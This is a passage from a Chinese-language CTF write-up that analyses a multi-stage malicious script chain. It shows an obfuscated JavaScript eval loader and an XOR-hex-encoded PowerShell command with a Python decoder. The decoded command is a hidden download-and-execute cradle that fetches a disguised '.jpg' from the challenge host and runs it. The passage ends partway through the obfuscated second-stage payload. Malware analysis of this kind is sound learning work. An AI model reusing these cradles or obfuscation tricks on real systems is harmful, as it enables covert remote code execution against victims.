class_">Fi</span>,it,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">NW</span>,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">NW</span>,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">RV</span>,xv,zN,it,ff,<span class="variable constant_">RV</span>,xv,yN,yN,ff,<span class="variable constant_">RV</span>,xv,zN,xv,ff,<span class="variable constant_">RV</span>,xv,kX,kX,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,it,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,it,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">RV</span>,xv,yN,yN,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">NW</span>,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,xv,zN,kX,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">NW</span>,yN,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,zN,it,ff,<span class="variable constant_">RV</span>,xv,yN,yN,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,it,xv,ff,<span class="variable constant_">RV</span>,xv,zN,it,ff,<span class="variable constant_">RV</span>,xv,yN,yN,ff,<span class="variable constant_">RV</span>,xv,zN,xv,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,<span class="variable constant_">FT</span>,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,it,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,xv,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,xv,yN,yN,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,xv,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,yN,kX,ff,<span class="variable constant_">RV</span>,xv,yN,yN,ff,<span class="variable constant_">RV</span>,xv,yN,<span class="variable constant_">FT</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="title class_">Mb</span>,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="variable constant_">FT</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="title class_">Mb</span>,zN,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="title class_">Mb</span>,ff,<span class="variable constant_">RV</span>,xv,kX,kX,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,xv,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">FT</span>,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,xv,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,zN,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,xv,zN,kX,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">NW</span>,it,ff,<span class="variable constant_">RV</span>,xv,zN,it,ff,<span class="variable constant_">RV</span>,xv,yN,yN,ff,<span class="variable constant_">RV</span>,xv,yN,<span class="variable constant_">FT</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="title class_">Mb</span>,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="variable constant_">FT</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="title class_">Mb</span>,zN,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="title class_">Mb</span>,ff,<span class="variable constant_">RV</span>,xv,kX,kX,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,xv,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">FT</span>,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,xv,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,zN,ff,<span class="variable constant_">RV</span>,xv,zN,<span class="variable constant_">QB</span>,ff,<span class="variable constant_">RV</span>,xv,<span class="variable constant_">NW</span>,it,ff,<span class="variable constant_">RV</span>,xv,zN,it,tg,<span class="variable constant_">QF</span>,<span class="title class_">Im</span>,nd,<span class="title class_">Ge</span>,sV,<span class="variable constant_">RV</span>,<span class="title class_">Gm</span>,<span class="variable constant_">YZ</span>,<span class="title class_">Xj</span>,kF,<span class="variable constant_">RV</span>,<span class="variable constant_">ST</span>,<span class="variable constant_">RV</span>,pV,wt,wV,<span class="title class_">Rp</span>,kz,<span class="variable constant_">CX</span>,<span class="variable constant_">GH</span>,<span class="variable constant_">US</span>,xv,<span class="title class_">Mb</span>,<span class="title class_">Mb</span>,ff,xv,<span class="title class_">Mb</span>,zN,ff,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,<span class="title class_">Fi</span>,ff,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,xv,ff,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,yN,ff,<span class="variable constant_">FT</span>,<span class="variable constant_">QB</span>,<span class="variable constant_">FT</span>,ff,xv,zN,<span class="variable constant_">FT</span>,ff,xv,<span class="title class_">Mb</span>,zN,ff,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,<span class="variable constant_">NW</span>,ff,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,it,ff,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,kX,ff,<span class="variable constant_">FT</span>,<span class="title class_">Fi</span>,kX,tg,<span class="variable constant_">QF</span>,<span class="title class_">Im</span>,nd,<span class="title class_">Ge</span>,sV,<span class="variable constant_">RV</span>,pV,wt,wV,<span class="title class_">Rp</span>,kz,<span class="variable constant_">CX</span>,<span class="variable constant_">RV</span>,<span class="variable constant_">ST</span>,<span class="variable constant_">RV</span>,tV,<span class="title class_">Gm</span>,<span class="title class_">Wn</span>,<span class="variable constant_">RV</span>,sC,<span class="title class_">Fx</span>,nI,pV,nd,<span class="title class_">Gm</span>,<span class="title class_">Yp</span>,<span class="variable constant_">FF</span>,uS,<span class="title class_">Rp</span>,<span class="title class_">Gm</span>,<span class="title class_">Fx</span>,nI,<span class="variable constant_">GH</span>,<span class="title class_">Gm</span>,<span class="variable constant_">YZ</span>,<span class="title class_">Xj</span>,kF,<span class="variable constant_">QF</span>,<span class="title class_">Im</span>,pV,wt,wV,<span class="title class_">Rp</span>,kz,<span class="variable constant_">CX</span>,cX,wV,<span class="variable constant_">UP</span>,tV,<span class="variable constant_">GH</span>,wt,wl,<span class="variable constant_">NL</span>,<span class="title class_">Ep</span>,uS,<span class="title class_">Lj</span>,ff,<span class="variable constant_">RV</span>,<span class="title class_">Fi</span>,ff,<span class="variable constant_">RV</span>,nI,sV,<span class="variable constant_">UP</span>,<span class="title class_">Gm</span>,<span class="variable constant_">QF</span>,<span class="title class_">Im</span>);<span class="built_in">eval</span>(<span class="title class_">SxhM</span>); <span class="variable language_">window</span>.<span class="title function_">close</span>();</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>直接复制到浏览器得到第一条执行的powershell命令，进行了异或加密，204的十六进制是0xCC</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/de08a234-b7b9-46b2-a778-99c1426149c3.png"></p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/877706f8-a404-4988-8c59-c38a798b7295.png"></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -w <span class="number">1</span> -ep Unrestricted -nop $EFTE =([regex]::Matches(&#x27;a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fdfdfafae3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7&#x27;,&#x27;.&#123;<span class="number">2</span>&#125;&#x27;) | % &#123; [char]([<span class="built_in">Convert</span>]::ToByte($_.Value,<span class="number">16</span>) -bxor &#x27;<span class="number">204</span>&#x27;) &#125;) -join &#x27;&#x27;;&amp; $EFTE.Substring(<span class="number">0</span>,<span class="number">3</span>) $EFTE.Substring(<span class="number">3</span>)</span><br></pre></td></tr></table></figure><p>解码python脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_powershell_command</span>(<span class="params">hex_string, xor_key=<span class="number">0xCC</span></span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    解密PowerShell的十六进制混淆命令</span></span><br><span class="line"><span class="string">    :param hex_string: 十六进制混淆字符串</span></span><br><span class="line"><span class="string">    :param xor_key: 异或密钥 (0xCC)</span></span><br><span class="line"><span class="string">    :return: 解密后的可读命令</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># 每2个字符分割（一个字节）</span></span><br><span class="line">    hex_bytes = [hex_string[i:i+<span class="number">2</span>] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(hex_string), <span class="number">2</span>)]</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 将十六进制转换为字节并应用异或</span></span><br><span class="line">    decoded_chars = []</span><br><span class="line">    <span class="keyword">for</span> byte <span class="keyword">in</span> hex_bytes:</span><br><span class="line">        <span class="comment"># 十六进制转整数</span></span><br><span class="line">        value = <span class="built_in">int</span>(byte, <span class="number">16</span>)</span><br><span class="line">        <span class="comment"># 异或解密</span></span><br><span class="line">        decrypted = value ^ xor_key</span><br><span class="line">        <span class="comment"># 转换为字符</span></span><br><span class="line">        decoded_chars.append(<span class="built_in">chr</span>(decrypted))</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 组合成完整字符串</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span>.join(decoded_chars)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提供的混淆字符串（缩短版，实际使用完整字符串）</span></span><br><span class="line">obfuscated_hex = <span class="string">&quot;a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fdfdfafae3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7&quot;</span></span><br><span class="line"><span class="comment"># 解密命令</span></span><br><span class="line">decrypted_command = decrypt_powershell_command(obfuscated_hex)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出结果</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;解密后的完整命令:&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(decrypted_command)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;\n命令结构分析:&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;主命令: <span class="subst">&#123;decrypted_command[:<span class="number">3</span>]&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;命令参数: <span class="subst">&#123;decrypted_command[<span class="number">3</span>:]&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>解密后得到:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">iex</span><span class="built_in">Start-Process</span> <span class="string">&quot;<span class="variable">$env:SystemRoot</span>\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&quot;</span> <span class="literal">-WindowStyle</span> <span class="keyword">Hidden</span> <span class="literal">-ArgumentList</span> <span class="string">&#x27;-w&#x27;</span>,<span class="string">&#x27;h&#x27;</span>,<span class="string">&#x27;-ep&#x27;</span>,<span class="string">&#x27;Unrestricted&#x27;</span>,<span class="string">&#x27;-Command&#x27;</span>,<span class="string">&quot;Set-Variable 3 &#x27;http://challenge.xinshi.fun:41166/bestudding.jpg&#x27;;SI Variable:/Z4D &#x27;Net.WebClient&#x27;;cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where&#123;(GV _).Value.Name-clike&#x27;*dName&#x27;&#125;).Name).Invoke(&#x27;Ne*ct&#x27;,1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where&#123;(GV _).Value.Name-clike&#x27;*wn*d*g&#x27;&#125;).Name);&amp;([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))&quot;</span>;</span><br></pre></td></tr></table></figure><p>等价于</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$url</span> = <span class="string">&#x27;http://host:port/bestudding.jpg&#x27;</span></span><br><span class="line"><span class="variable">$webClient</span> = <span class="built_in">New-Object</span> Net.WebClient</span><br><span class="line"><span class="variable">$scriptContent</span> = <span class="variable">$webClient</span>.DownloadString(<span class="variable">$url</span>)</span><br><span class="line"><span class="built_in">Invoke-Expression</span> <span class="variable">$scriptContent</span></span><br></pre></td></tr></table></figure><p>把这个bestudding.jpg下载下来</p><p>用winhex打开</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(&#x27;(&#x27;  | % &#123; $r = + $() &#125; &#123; $u = $r &#125; &#123; $b = ++  $r &#125; &#123; $q = (  $r = $r + $b  ) &#125; &#123; $z = (  $r = $r + $b  ) &#125; &#123; $o = ($r = $r + $b  ) &#125; &#123; $d = ($r = $r + $b  ) &#125; &#123; $h = ($r = $r + $b  ) &#125; &#123; $e = ($r = $r + $b  ) &#125; &#123; $i = ($r = $r + $b  ) &#125; &#123; $x = ($q *( $z) ) &#125; &#123; $l = ($r = $r + $b) &#125; &#123; $g = &quot;[&quot; + &quot;$(@&#123;  &#125;)&quot;[$e  ] + &quot;$(@&#123;  &#125;)&quot;[  &quot;$b$l&quot;  ] + &quot;$(@&#123;  &#125;  )  &quot;[  &quot;$q$u&quot;  ] + &quot;$?&quot;[$b  ] + &quot;]&quot; &#125; &#123; $r = &quot;&quot;.(&quot;$(  @&#123;&#125;  )  &quot;[  &quot;$b$o&quot;  ] + &quot;$(@&#123;&#125;)  &quot;[  &quot;$b$h&quot;] + &quot;$(  @&#123;  &#125;  )&quot;[$u] + &quot;$(@&#123;&#125;  )&quot;[$o] + &quot;$?  &quot;[  $b] + &quot;$(  @&#123;&#125;)&quot;[$z  ]) &#125; &#123; $r = &quot;$(@&#123;  &#125;  )&quot;[  &quot;$b&quot; + &quot;$o&quot;] + &quot;$(@&#123;  &#125;)  &quot;[$o  ] + &quot;$r&quot;[&quot;$q&quot; + &quot;$e&quot;  ] &#125;  )  ;  &quot; $r  ($g$z$x+$g$x$i+$g$b$u$b+$g$l$i+$g$b$b$e+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$x$l+$g$b$b$o+$g$b$b$o+$g$b$b$b+$g$b$b$o+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$x+$g$b$u$b+$g$b$b$o+$g$l$i+$g$b$b$b+$g$b$b$d+$g$b$u$b+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$e+$g$l$e+$g$b$b$o+$g$b$b$u+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$z+$g$b$u$d+$g$b$u$i+$g$b$u$b+$g$b$b$u+$g$b$b$x+$g$b$u$i+$g$b$q$b+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$u$d+$g$b$b$u+$g$b$b$e+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$b$d+$g$b$u$o+$g$b$b$e+$g$b$b$x+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$z$q+$g$o$e+$g$b$b$d+$g$z$q+$g$o$e+$g$b$b$x+$g$z$q+$g$d$o+$g$o$i+$g$o$i+$g$z$q+$g$x$q+$g$z$x+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i+$g$z$q+$g$d$u+$g$x$q+$g$z$i+$g$o$l+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$x$e+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$u$i+$g$b$b$b+$g$x$d$z$e$o+$g$o$u+$g$i$e$z$x+$g$b$i$z+$g$l$x$l+$g$x$u+$g$z$q+$g$o$b+$g$i$l$e$i+$g$l$e$z$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$b$x+$g$l$e+$g$b$b$o+$g$b$b$x+$g$i$u+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$e+$g$l$e+$g$b$b$u+$g$b$b$e+$g$l$e+$g$b$u$i+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$